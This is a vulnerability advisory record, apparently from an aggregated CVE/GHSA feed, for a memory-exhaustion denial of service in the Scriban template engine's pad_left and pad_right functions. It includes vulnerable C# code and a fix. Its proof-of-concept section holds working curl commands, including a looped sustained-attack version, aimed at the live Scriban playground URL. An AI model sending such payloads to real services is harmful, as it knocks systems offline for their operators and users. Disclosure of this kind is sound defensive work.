{"id":"CVE-2026-74788","aliases":["CVE-2026-74788","GHSA-v66j-x4hw-fv9g"],"related":[],"kind":"vulnerability","state":"published","title":"Scriban before 7.0.0 Denial of Service via string.pad_left/pad_right","summary":"Scriban before 7.0.0 (affected versions <= 6.6.0) contains an uncontrolled memory allocation vulnerability in the string.pad_left and string.pad_right template functions, which perform no validation on the width parameter before delegating to .NET's String.PadLeft/PadRight. When an application exposes Scriban to untrusted template input, an attacker can supply an arbitrarily large width value (e.g., 500,000,000) to trigger ~1GB memory allocations in a single call, resulting in OutOfMemoryException and denial of service. The TemplateContext.LimitToString limit does not prevent this because it is only enforced after the string has been fully allocated.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Scriban before 7.0.0 (affected versions <= 6.6.0) contains an uncontrolled memory allocation vulnerability in the string.pad_left and string.pad_right template functions, which perform no validation on the width parameter before delegating to .NET's String.PadLeft/PadRight. When an application exposes Scriban to untrusted template input, an attacker can supply an arbitrarily large width value (e.g., 500,000,000) to trigger ~1GB memory allocations in a single call, resulting in OutOfMemoryException and denial of service. The TemplateContext.LimitToString limit does not prevent this because it is only enforced after the string has been fully allocated.","source":"cvelist"},{"lang":"en","text":"## Summary\n\nThe built-in `string.pad_left` and `string.pad_right` template functions in Scriban perform no validation on the `width` parameter, allowing a template expression to allocate arbitrarily large strings in a single call. When Scriban is exposed to untrusted template input — as in the official Scriban.AppService playground deployed on Azure — an unauthenticated attacker can trigger ~1GB memory allocations with a 39-byte payload, crashing the service via `OutOfMemoryException`.\n\n## Details\n\n`StringFunctions.PadLeft` and `StringFunctions.PadRight` (`src/Scriban/Functions/StringFunctions.cs:1181-1203`) directly delegate to .NET's `String.PadLeft(int)` / `String.PadRight(int)` with no bounds checking:\n\n```csharp\n// src/Scriban/Functions/StringFunctions.cs:1181-1183\npublic static string PadLeft(string text, int width)\n{\n    return (text ?? string.Empty).PadLeft(width);\n}\n\n// src/Scriban/Functions/StringFunctions.cs:1200-1202\npublic static string PadRight(string text, int width)\n{\n    return (text ?? string.Empty).PadRight(width);\n}\n```\n\nThe `TemplateContext.LimitToString` property (default 1MB, set at `TemplateContext.cs:147`) does **not** prevent the allocation. This limit is only checked during `ObjectToString()` conversion (`TemplateContext.Helpers.cs:101-103`), which runs *after* the string has been fully allocated by `PadLeft`/`PadRight`. The dangerous allocation is the return value of a built-in function — it occurs before output rendering.\n\nThe Scriban.AppService playground (`src/Scriban.AppService/Program.cs:63-140`) exposes `POST /api/render` with:\n- No authentication\n- Template size limit of 1KB (line 71) — the payload fits in 39 bytes\n- A 2-second timeout via `CancellationTokenSource` (line 118) — but this only cancels the `await Task.Run(...)`, not the running `template.Render()` call (line 122). The BCL `PadLeft` allocation completes atomically before the cancellation can take effect.\n- Rate limiting of 30 requests/minute (line 25)\n\n## PoC\n\nSingle request to crash or degrade the AppService:\n\n```bash\ncurl -X POST https://scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net/api/render \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"template\": \"{{ \\u0027\\u0027 | string.pad_left 500000000 }}\"}'\n```\n\nThis 39-byte template causes `PadLeft(500000000)` to attempt allocating a 500-million character string (~1GB in .NET's UTF-16 encoding).\n\n**Expected result:** The service returns an error or truncated output safely.\n\n**Actual result:** The .NET runtime attempts a ~1GB allocation. Depending on available memory, this either succeeds (consuming ~1GB until GC), or throws `OutOfMemoryException` crashing the process.\n\nSustained attack with rate limiting:\n\n```bash\n# 30 requests/minute × ~1GB each = ~30GB/minute of memory pressure\nfor i in $(seq 1 30); do\n  curl -s -X POST https://scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net/api/render \\\n    -H \"Content-Type: application/json\" \\\n    -d '{\"template\": \"{{ \\u0027\\u0027 | string.pad_left 500000000 }}\"}' &\ndone\nwait\n```\n\nThe `string.pad_right` variant works identically:\n\n```bash\ncurl -X POST https://scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net/api/render \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"template\": \"{{ \\u0027\\u0027 | string.pad_right 500000000 }}\"}'\n```\n\n## Impact\n\n- **Remote denial of service** against any application that renders untrusted Scriban templates, including the official Scriban playground at `scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net`.\n- An unauthenticated attacker can crash the hosting process via `OutOfMemoryException` with a single HTTP request.\n- With sustained requests at the rate limit (30/min), the attacker can maintain continuous memory pressure (~30GB/min), preventing service recovery.\n- The existing `LimitToString` and timeout mitigations do not prevent the intermediate memory allocation.\n\n## Recommended Fix\n\nAdd width validation in `StringFunctions.PadLeft` and `StringFunctions.PadRight` to cap the maximum allocation. A reasonable upper bound is the `LimitToString` value from the `TemplateContext`, or a fixed maximum if the context is not available:\n\n```csharp\n// src/Scriban/Functions/StringFunctions.cs\n\n// Option 1: Fixed reasonable maximum (simplest fix)\npublic static string PadLeft(string text, int width)\n{\n    if (width < 0) width = 0;\n    if (width > 1_048_576) width = 1_048_576; // 1MB cap\n    return (text ?? string.Empty).PadLeft(width);\n}\n\npublic static string PadRight(string text, int width)\n{\n    if (width < 0) width = 0;\n    if (width > 1_048_576) width = 1_048_576; // 1MB cap\n    return (text ?? string.Empty).PadRight(width);\n}\n```\n\nAlternatively, make the functions context-aware and use `LimitToString` as the cap, consistent with how other Scriban limits work. The AppService should also be updated to run template rendering in a memory-limited container or AppDomain to provide defense-in-depth.","format":"markdown","source":"ghsa"}],"published":"2026-03-24T22:13:37.000Z","modified":"2026-08-31T20:30:14.457Z","severity":{"scorer":"VulnCheck","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","score":8.7,"rating":"HIGH"},"severities":[{"scorer":"VulnCheck","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","score":8.7,"rating":"HIGH"},{"scorer":"VulnCheck","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"}],"cwes":["CWE-770"],"affected":[{"ranges":[{"type":"semver","introduced":"0","fixed":"7.0.0","status":"affected"},{"type":"semver","version":"7.0.0","status":"unaffected"}],"vendor":"scriban","product":"scriban","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"7.0.0"}],"ecosystem":"NuGet","package":"Scriban","purl":"pkg:nuget/Scriban","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"7.0.0"}],"ecosystem":"NuGet","package":"Scriban.Signed","purl":"pkg:nuget/Scriban.Signed","source":"ghsa"}],"references":[{"url":"https://github.com/scriban/scriban/security/advisories/GHSA-v66j-x4hw-fv9g","tags":["exploit","vendor-advisory","web"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://www.vulncheck.com/advisories/scriban-before-denial-of-service-via-string-pad-left-pad-right","tags":["third-party-advisory"],"sources":["cvelist","nvd"]},{"url":"https://github.com/scriban/scriban","tags":["package"],"sources":["ghsa"]}],"credits":["offset"],"assigner":"VulnCheck","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-08-17T16:44:00.266Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-74788","url":"https://www.cve.org/CVERecord?id=CVE-2026-74788","licence":"CVE Terms of Use","modified":"2026-08-17T16:46:25.578Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-v66j-x4hw-fv9g","url":"https://github.com/advisories/GHSA-v66j-x4hw-fv9g","licence":"CC-BY-4.0","modified":"2026-08-17T03:55:59.156Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-74788","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-74788","licence":"Public domain","modified":"2026-08-31T20:30:14.457Z"}],"updatedAt":"2026-11-25T22:59:33.306Z","epss":{"score":0.00278,"percentile":0.21772,"date":"2026-12-01T12:00:22.000Z"}}